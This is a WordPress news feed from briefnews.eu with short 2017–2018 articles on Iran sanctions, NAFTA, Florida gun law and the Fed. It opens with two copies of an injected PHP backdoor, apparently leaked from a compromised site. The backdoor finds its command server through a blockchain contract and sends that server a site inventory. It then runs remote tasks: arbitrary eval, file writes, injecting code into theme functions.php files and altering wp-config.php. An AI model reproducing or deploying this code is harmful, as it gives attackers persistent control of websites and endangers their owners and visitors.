// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Compromise – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 23 May 2018 09:54:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Compromise – Brief News https://briefnews.eu 32 32 Despite Iran’s hardline bluster, its economy is so bad it may seek a compromise with Trump https://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/ https://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/#respond Wed, 23 May 2018 09:54:22 +0000 http://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/ FILE PHOTO: A display featuring missiles and a portrait of Iran's Supreme Leader Ayatollah Ali Khamenei is seen at Baharestan Square in Tehran, Iran September 27, 2017. Nazanin Tabatabaee Yazdi/TIMA via REUTERS Thomson Reuters

  • For all of Iran’s fierce verbal response to fresh U.S. threats of tougher sanctions, some senior officials in Tehran believe the door to diplomacy should stay open.
  • U.S. Secretary of State Mike Pompeo presented a list of sweeping demands for Iran, including abandoning nuclear enrichment, its ballistic missile program and its role in Syria, Lebanon and Yemen, or face “the strongest sanctions in history”.
  • But with Iran’s economy so fragile, weakened by decades of sanctions, corruption and mismanagement, Khamenei may yet consider diplomacy over confrontation with the United States.

ANKARA (Reuters) – For all of Iran’s fierce verbal response to fresh U.S. threats of tougher sanctions, some senior officials in Tehran believe the door to diplomacy should stay open.

On Monday, U.S. Secretary of State Mike Pompeo presented a list of sweeping demands for Iran, including abandoning nuclear enrichment, its ballistic missile program and its role in Syria, Lebanon and Yemen, or face “the strongest sanctions in history”.

See the rest of the story at Business Insider

NOW WATCH: Jeff Bezos reveals what it’s like to build an empire and become the richest man in the world — and why he’s willing to spend $ 1 billion a year to fund the most important mission of his life

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SEE ALSO: Trump’s troubled Syria policy is getting unexpected help from Putin

]]> https://briefnews.eu/despite-irans-hardline-bluster-its-economy-is-so-bad-it-may-seek-a-compromise-with-trump/feed/ 0 Tax Compromise Gives Amazon’s Latest Seattle Office New Life https://briefnews.eu/tax-compromise-gives-amazons-latest-seattle-office-new-life/ https://briefnews.eu/tax-compromise-gives-amazons-latest-seattle-office-new-life/#respond Tue, 15 May 2018 21:53:46 +0000 http://briefnews.eu/tax-compromise-gives-amazons-latest-seattle-office-new-life/ The city council cut a proposed per-employee fee nearly in half, after Amazon and more than 100 other companies opposed the original plan.


https://media.wired.com/photos/5afb1b4695d5844ec4ac052f/master/pass/AmazonSeattle_17290782980799.jpg

]]> https://briefnews.eu/tax-compromise-gives-amazons-latest-seattle-office-new-life/feed/ 0 Florida’s Republican governor signed a compromise gun-control bill in a major break with the NRA https://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/ https://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/#respond Fri, 09 Mar 2018 20:38:53 +0000 http://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/ rick scottReuters/Joshua Roberts

  • Florida’s Republican governor signed a bill on Friday combining certain gun-control and school-safety measures.
  • The bill broke with the National Rifle Association in raising the minimum age for rifle purchases to 21 from 18.
  • But it also fell short of expectations from survivors of last month’s high-school shooting — they called it a “baby step.”

TALLAHASSEE, Fla. (AP) — Flanked by family members of students who were killed during a mass shooting just over three weeks ago, Florida Gov. Rick Scott on Friday signed a $ 400 million school safety bill in response to the tragedy that killed 17 people at a high school.

He said the bill, which was written since the shooting, balances “our individual rights with need for public safety.”

See the rest of the story at Business Insider

NOW WATCH: Henry Blodget: Will arming teachers with guns help stop school shootings?

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SEE ALSO: A damning new timeline of the Florida high-school shooting shows how badly the armed deputy screwed up

DON’T MISS: The Florida shooting suspect withdrew his not guilty plea and instead ‘stands mute’ to the charges — and it may be part of a legal strategy

]]> https://briefnews.eu/floridas-republican-governor-signed-a-compromise-gun-control-bill-in-a-major-break-with-the-nra/feed/ 0 NAFTA talks: Automakers hopeful Canadian compromise will avert disaster https://briefnews.eu/nafta-talks-automakers-hopeful-canadian-compromise-will-avert-disaster/ https://briefnews.eu/nafta-talks-automakers-hopeful-canadian-compromise-will-avert-disaster/#respond Sat, 27 Jan 2018 20:32:54 +0000 http://briefnews.eu/nafta-talks-automakers-hopeful-canadian-compromise-will-avert-disaster/

MONTREAL — Auto industry officials fretting about hardline U.S. NAFTA demands with the potential to turn a globally integrated industry upside down now are hopeful that a Canadian compromise plan could avert disaster.

The officials, speaking to Reuters on the sidelines of NAFTA talks here, said strenuous lobbying efforts on behalf of the industry were starting to sink in with some key members of the Trump administration.

Automakers and their suppliers are worried that the U.S. demands will cause the 24-year-old North American Free Trade Agreement to collapse, or render its tariff-free benefits unusable. Either outcome would wreak havoc on supply chains that have auto parts and vehicles regularly crisscrossing North American borders

Industry trade groups have estimated that a full reversion to World Trade Organization tariff levels would cost the industry some $ 10 billion a year and cause the loss of up to 50,000 U.S. auto parts jobs.

The Trump administration, which blames NAFTA for killing off U.S. manufacturing jobs, wants the requirement for the value content, or net cost, of autos sourced from the three NAFTA countries boosted to 85 percent from 62.5 percent for tariff-free trade.

It also insists that 50 percent of the content of every vehicle produced in the region come from the United States, an option that Canada and Mexico have dismissed as unworkable.

In a bid to keep the talks alive Canada is now suggesting that North American content in autos — known as rules of origin — should be calculated to also include the value of software, engineering and other high-value work, which currently is not counted toward the regional content targets

The plan got a boost from Fiat Chrysler Automobiles Chief Executive Sergio Marchionne on Thursday, who called it a “defensible” concept and a “step in the right direction.”

“Within the structure proposed by the Canadians, there appears to be the beginnings of a solution to this problem,” Marchionne said on an earnings conference call.

Canadian officials say their U.S. counterparts have asked a series of questions about how the plan would work. It is unclear how U.S. Trade Representative Robert Lighthizer will react to the plan when he arrives in Montreal on Sunday.

The current round of talks in Montreal is the penultimate in the negotiations to update NAFTA.

“I think I’m more optimistic now than I have been in quite some time, because we have an opportunity here for having a true dialogue on what a 21st century rule of origin for NAFTA might look like,” said Ann Wilson, senior vice president of government affairs at the Washington-based Motor and Equipment Manufacturers Association.

The industry fears that if North American content demands are set too high, manufacturers will simply forego NAFTA’s tariff-free access and pay low 2.5 percent U.S. tariffs on parts and passenger cars produced outside the region. The result could be less automotive production in the United States, not more, industry representatives say.

“We’re very appreciative of the Canadians putting forth some fresh new ideas. It’s a positive signal and hopefully a shift in the talks,” said Jennifer Thomas, vice president of federal government affairs at the Alliance of Automobile Manufacturers,

Thomas, noting that U.S. domestic sales were expected to decline after a seven-year run that set records, added, “We’re kind of bracing for a downturn and we don’t need to have any additional burdens further harming the industry.”

John Bozzella, president of the trade group Global Automakers, said executives had pressed senior White House officials about the importance of NAFTA.

“I think those meetings have been impactful. They have gotten key players within the administration thinking about how the industry can remain competitive going forward in a way they hadn’t before,” he said.

Flavio Volpe, president of Canada’s Automotive Parts Manufacturers Association, said the Trump administration would not be selling out its base by agreeing to focus on the value of high-tech in autos.

“The science in specialized steel is as space ages as it is in app writing for vehicle operation. They’re smart enough to know they do really well in both,” he told reporters.

Reporting by David Lawder and David Ljunggren

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]]> https://briefnews.eu/nafta-talks-automakers-hopeful-canadian-compromise-will-avert-disaster/feed/ 0 Fed officials keep breaking with protocol in a way that could compromise the central bank’s independence https://briefnews.eu/fed-officials-keep-breaking-with-protocol-in-a-way-that-could-compromise-the-central-banks-independence/ https://briefnews.eu/fed-officials-keep-breaking-with-protocol-in-a-way-that-could-compromise-the-central-banks-independence/#respond Wed, 23 Aug 2017 12:53:18 +0000 http://briefnews.eu/fed-officials-keep-breaking-with-protocol-in-a-way-that-could-compromise-the-central-banks-independence/ stanley fischerGetty Images

Only one person gets to choose the Federal Reserve’s chair, and that’s the president of the United States.

Which makes it all the more curious that a second top Fed official, Vice Chair Stanley Fischer, has taken the unusual step of opining on whom Donald Trump might pick as his future boss.

Like William Dudley, the president of the New York Fed and a former partner at Goldman Sachs, Fischer, himself a former banker at Citigroup, appeared to tacitly endorse Trump’s preferred candidate, the head of the National Economic Council and former Goldman Sachs president Gary Cohn.

In an interview with the Financial Times, Fischer said the reappointment of Janet Yellen, whose first term as chair expires in February, would be an “excellent choice.”

But Fischer added he likes Cohn after having gotten to know him while dining together at events thrown by Goldman Sachs during the IMF’s annual meetings, the FT reported. Fischer has attended those meetings in several capacities over the years, first as a senior IMF official, then as head of Israel’s central bank and now as the No 2. Fed official.

Fischer also downplayed Cohn’s most important weakness: his absolute lack of the economics background typical of a central bank chair.

“The chairman of an institution such as the Fed, one of the primary things he needs is the ability to judge the advice he is getting,” Fischer said.

Why is the Fed’s vice chair speculating on his future boss? Or endorsing potential candidates? This represents a direct breach of central bank independence, which the Fed is loathe to concede when it comes to Congressional interference in its affairs.

The Fed did not respond to a request for comment.

